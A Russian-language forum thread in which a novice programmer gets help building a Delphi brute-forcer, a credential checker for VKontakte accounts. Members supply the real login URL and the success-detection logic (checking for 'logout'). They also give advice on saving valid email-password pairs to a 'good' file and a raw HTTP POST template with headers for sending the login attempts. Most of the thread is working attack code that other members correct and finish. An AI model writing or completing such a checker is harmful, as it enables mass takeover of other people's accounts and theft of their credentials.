Кому не трудно помогите начинающему програмисту выложить тут исходник с этим кодом P.S. Поступил на первый курс в техникум сайт не брошу PHP: procedure Brute(); var emails:TStingList; pass:TStingList; post:TStingList; i,j:integer; begin email:=TStringList.Create; pass:=TStringList.Create; http:=TidHTTP.Create(nil); http.HandleRedirects:=true; post:=tstringlist.Create; for i:=0 to emails.Count-1 do begin post.Clear; post.Add('email='+emails.Strings[i]); for j:=0 to pass.Count-1 do begin post.Add('pass='+pass.Strings[j]); result:=http.Post('/',post); if pos('',result)>;0 then else end; end; emails.Free; pass.Free; http.Free; post.Free; end; прост меня интересует код с then и else можно и на сокетах выложить... P.S.S. не над ругаться типо тема уже была с авторизацией. меня интересует именно с then и else (что делать если пасс пральны и что если не правильный)
не понятно.... а где вообще then? и что за запрос такой интересный со слешем? аа... then нашел... ну прикольный код))
PHP: procedure Brute(); var emails:TStingList; pass:TStingList; post:TStingList; i,j:integer; begin email:=TStringList.Create; pass:=TStringList.Create; http:=TidHTTP.Create(nil); http.HandleRedirects:=true; post:=tstringlist.Create; for i:=0 to emails.Count-1 do begin post.Clear; post.Add('email='+emails.Strings[i]); for j:=0 to pass.Count-1 do begin post.Add('pass='+pass.Strings[j]); result:=http.Post('/',post); if pos('',result)>;0 then /////// //тут будет код /////// else /////// //и тут ////// end; end; emails.Free; pass.Free; http.Free; post.Free; end; я вот хз как его дароботать шоб оно работало =)) странный код и я хз какие там компоненты нужны я грю новичек поетому и прошу обработать это в исходник...
ничего себе "доработать"... если решил авторизовываться в контакте, то надо знать параметры запроса и адрес. Вместо адреса слеш стоит, а надо "http://vkontakte.ru/login.php". После then записываешь пару "пароль;мыло" в файл "good", после else - в файл "bad". Например так. Компоненты Indy нужны. Есть в программе?
Что не так? останавливаетсяя на result PHP: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP; type TForm1 = class(TForm) IdHTTP1: TIdHTTP; Button1: TButton; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var emails:TStringList; pass:TStringList; post:TStringList; i,j:integer; http:TidHTTP; begin emails:=TStringList.Create; pass:=TStringList.Create; emails.Add('****@mail.ru'); pass.Add('******'); http:=TidHTTP.Create(nil); http.HandleRedirects:=true; post:=tstringlist.Create; for i:=0 to emails.Count-1 do begin post.Clear; post.Add('email='+emails.Strings[i]); for j:=0 to pass.Count-1 do begin post.Add('pass='+pass.Strings[j]); result :=http.Post('http://vkontakte.ru/login.php',post); if pos('',result)>;0 then ShowMessage('Не правильно '); /////// //тут будет код /////// else ShowMessage('правильно '); /////// //и тут ////// end; end; emails.Free; pass.Free; http.Free; post.Free; end.
Ошибка какая?? Возможно не хватает обязательных параметров. Посмотри снифером. Возможно заголовки нужны
Build [Error] Unit1.pas(49): Undeclared identifier: 'result' [Error] Unit1.pas(50): Incompatible types [Error] Unit1.pas(75): Statement expected but end of file found [Fatal Error] Project2.dpr(5): Could not compile used unit 'Unit1.pas' 49 строка ето result :=http.Post('http://vkontakte.ru/login.php',post);
result не определен как string. + pos('logout',result) вот что должно быть в if (т.е. какое-то слово, которое присутствует на странице после входа) + походу end не хватает после post.free
есть еще какаято ошибка всегда пишит правильно даже если не пральный логин с паролем... только если правильно думает больше програма.. PHP: unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, StdCtrls; type TForm1 = class(TForm) Button1: TButton; IdHTTP1: TIdHTTP; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); var emails:TStringList; pass:TStringList; post:TStringList; result:String; i,j:integer; http:TidHTTP; begin emails:=TStringList.Create; pass:=TStringList.Create; emails.Add('[email protected]'); pass.Add('23425'); http:=TidHTTP.Create(nil); http.HandleRedirects:=true; post:=tstringlist.Create; for i:=0 to emails.Count-1 do begin post.Clear; post.Add('email='+emails.Strings[i]); for j:=0 to pass.Count-1 do begin post.Add('pass='+pass.Strings[j]); result :=http.Post('http://vkontakte.ru/login.php',post); if pos('logout',result)>0 then ShowMessage('Не правильно ') else ShowMessage('правильно ') end; end; emails.Free; pass.Free; http.Free; post.Free; end; end.
значит всё верно) ибо по программе как раз и получается, что если на странице есть слово "logout", то сообщение - "не правильно" поменяй местами сообщения и потестируй на валидном и невалидном аккаунтах
да мне и этот пойдет мне ведь сразу много не над мыло одновременно а чисто 2 поля под мыло и пасс булет.. прост надо разобраться с этим if pos('logout',result)>0 почему он всегда else выдает то...
Ant1Player не страдай херней.... De-visible и так все уже разжевал в министатейке. Во первых заголовки HTTP должны быть правельные. User-Agent, Referer, Connection, Content-Type это все важно! Во вторых данные в пост запросе имеют такой вид: param1=value1¶m2=value2\r\n\r\n а как у тебя там в TStringList ? в какой кодировке? в ANSI в UNICODE? может там param1=value1\nparam2=value2\n ? В общем для "просто разобратся" тренеруйся на самописной форме... скачай Denver установи и создай файл Z:\home\localhost\www\post.php: PHP: <?php if(empty($_POST)) { echo "<form method=post><input type=text name=login> <input type=password name=pass></form>"; } else { echo $_POST['login'].':'.$_POST['pass']; } ?> и не мучай людям моск... удаче!
Помоему на сокетах это состряпать проще буит, отснифав пакет когда логинишься на вконтакт... кинул бы линк на другой ресурс, но не хочу выглядеть рекламщиком других ресурсов... PHP: ' POST /login.php HTTP/1.1'+#13#10+ 'Host: vkontakte.ru'+#13#10+ 'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.1'+#13#10+ 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'+#13#10+ 'Accept-Language: ru,en-us;q=0.7,en;q=0.3'+#13#10+ 'Accept-Encoding: gzip,deflate'+#13#10+ 'Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7'+#13#10+ 'Keep-Alive: 300'+#13#10+ 'Connection: keep-alive'+#13#10+ 'Referer: http://vkontakte.ru/index.php'+#13#10+ 'Cookie: remixlang=0; remixchk=5'+#13#10+ 'Content-Type: application/x-www-form-urlencoded'+#13#10+ 'Content-Length: 42'+#13#10+ #13#10+ 'email='+email+'&pass='+pass+ #13#10; создаёшь процедурку в которой спрашиваешь email и pass, которые походу меняешь если нуна, весь этот код присваиваешь перемеенной типа стринг и шлёшь... А вообще и тут де то это уже обсуждалось, если мне память не изменяет... и гугл вроде является поисковой системой... P.S. чекер or checker вконтакте
Не во всех случаях. При GET запросе можно оставить, например, только значение поля Host, но это не рекомендуется делать в реальных проектах. Ты ошибаешься: \r\n\r\n - лишние.